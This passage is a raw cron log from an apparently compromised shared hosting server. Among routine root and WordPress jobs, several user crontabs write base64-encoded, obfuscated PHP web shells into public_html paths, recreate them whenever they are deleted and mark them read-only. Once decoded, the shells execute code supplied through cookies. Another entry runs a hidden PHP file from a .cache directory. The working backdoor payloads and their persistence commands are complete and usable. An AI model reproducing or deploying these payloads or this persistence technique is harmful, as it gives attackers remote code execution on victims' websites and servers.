ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:12:01 medusa CROND[27086]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:13:01 medusa CROND[5473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:13:01 medusa CROND[5474]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:13:01 medusa CROND[5476]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 13:13:01 medusa CROND[5478]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:13:01 medusa CROND[5479]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 13:13:01 medusa CROND[5481]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 13:13:01 medusa CROND[5484]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:13:01 medusa CROND[5483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:13:01 medusa CROND[5486]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:13:01 medusa CROND[5493]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:13:01 medusa CROND[5482]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:13:01 medusa CROND[5495]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:13:01 medusa CROND[5496]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:13:01 medusa CROND[5511]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:14:01 medusa CROND[21246]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:14:01 medusa CROND[21247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:14:01 medusa CROND[21249]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:14:01 medusa CROND[21251]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 13:14:01 medusa CROND[21259]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:14:01 medusa CROND[21263]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:14:01 medusa CROND[21264]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:14:01 medusa CROND[21267]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:14:01 medusa CROND[21271]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:14:01 medusa CROND[21272]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:14:01 medusa CROND[21273]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:14:01 medusa CROND[21276]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:14:01 medusa CROND[21281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:15:01 medusa CROND[1290]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 13:15:01 medusa CROND[1616]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:15:01 medusa CROND[1618]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:15:01 medusa CROND[1620]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 13:15:01 medusa CROND[1621]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:15:01 medusa CROND[1628]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1